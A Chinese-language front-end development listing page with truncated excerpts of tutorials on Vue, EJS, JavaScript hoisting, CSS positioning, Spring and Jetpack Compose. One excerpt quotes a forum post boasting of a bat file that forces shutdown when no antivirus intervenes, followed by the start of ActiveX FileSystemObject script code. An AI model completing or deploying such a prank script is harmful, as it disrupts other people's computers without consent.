前端开发
-
一、组件化 1.1. 组件概述 ① 组件化：一个页面可以拆分成多个组件，每个组件有着自己独立的结构、样式、行为。 好处：便于维护，利于复用 → 提升开发效率。 组件分类：普通组件、根组件。 ② 根组件：整个应用最上层的组件，包裹所有普通小组件 1.2. 语法高亮插件 1.3. 组件内部组成 组件内部由三部分组成： template：结构 （有且只能一个根元素） script: js逻辑 style： 样式 (可支持less，需要装包) 1.4. 让组件支持 less （1）
2024-11-26 -
不知道从何处入手学习前端？别担心，你来对地方了！今天，我们来聊一聊前端教程，让你可以轻松入门，掌握基础知识。 1. HTML/CSS/JS 基础知识 学习前端最基本的就是 HTML/CSS/JS，它们分别负责网页的结构、样式和交互功能。对于初学者来说，你需要了解这些语言的语法、标签和属性。还可以自己尝试写一写简单的页面，来巩固自己的基础。 2. 学习工具 学习前端离不开工具。比如代码编辑器、浏览器调试工具等等。其中，Sublime Text、VS Code、Atom、WebStorm 等代码编辑
2024-11-26 -
1. 步骤 1.cd /home/muten/expressStudy/express02/views 2.npm install ejs --save 注意： express中默认就可以继承ejs，不需要主动去引入. 2.一些使用方法 2.1 ejs绑定数据 <%=h%> h是变量名，这个是在index.ejs中实现. 3.语法说明 let和var差不多
2024-11-26 -
一、var 声明与变量提升 使用 var 关键字声明的变量，无论其实际声明位置在何处，都会被视为声明于所在函数的顶 部（如果声明不在任意函数内，则视为在全局作用域的顶部）。这就是所谓的变量提升。 例如： function getValue(condition) { if (condition) {
2024-11-26 -
一、什么是定位？ css中的position属性，position有四个值：relative（相对定位）、absolute（绝对定位）、static（静态定位）和fixed（固定定位），通过top、left、bottom、right来调整元素位置 二、各个属性值的作用 属性值作用备注relative相对定位参考元素本身absolute绝对定位参考最近的祖先元素static静态定位基本定位规定fixed固定定位参考浏览器窗口 1、相对定位 相对定位的偏移元素参考的是元素本身，不会使元素脱离文档流，
2024-11-26 -
第一步:controller中 @RequestMapping("/ajaxerror") public String ajaxerror() { return "thymeleaf/ajaxerror"; } //一个异常包下的类,一个html,一个js @RequestMapping("/getAjaxerror") @ResponseBody public IMoocJSONResult getAjaxerror() { int a = 1 / 0; return IMoocJSONRes
2024-11-26 -
[quote] 最近喜欢上了bat，经过几天的学习，对它也有了初步的了解，自己做了一个文件，也娱乐下。呵呵，这个文件可以强制关机哦，前提没有杀毒软件了，不然就会被杀掉了。 [/quote] <html><head><script type="text/javascript">function test(){ var fso, tf; fso = new ActiveXObject("Scripting.FileSystemObject"); //获得文件对象 tf
2024-11-26 -
一. teleport内置组件使用 1. 模板中使用teleport <template> <div class="app"> <teleport to="#why"> <button>+1</button> <h2>当前计数</h2> <hello-world></hello-world> </teleport> <teleport to="#why"> <span>呵呵呵呵</span> </teleport
2024-11-26 -
object ParamsConfig { const val PARAMS_NAME = "name" const val PARAMS_AGE = "age" } object RouteConfig { const val ROUTE_PAGEONE="pageOne" const val ROUTE_PAGETWO="pageTwo" } @Composable fun NavHostDemo() { val navController = rem
2024-11-26 -
预览图片的形式： 1：通过服务器反馈的图片进行预览。 这里不做详解，大致是前端请求图片，服务器反馈图片，前端呈现图片。 2：不通过服务器，前端自己预览待上传的图片。 a、需要一个input标签，作为接受图片的接口。 b、需要一个img标签，作为预览图片的标签。 代码如下： $("input").change(function() { //判断是否为图片 if (this.files[0].type.indexOf("image") == 0) {
2024-11-26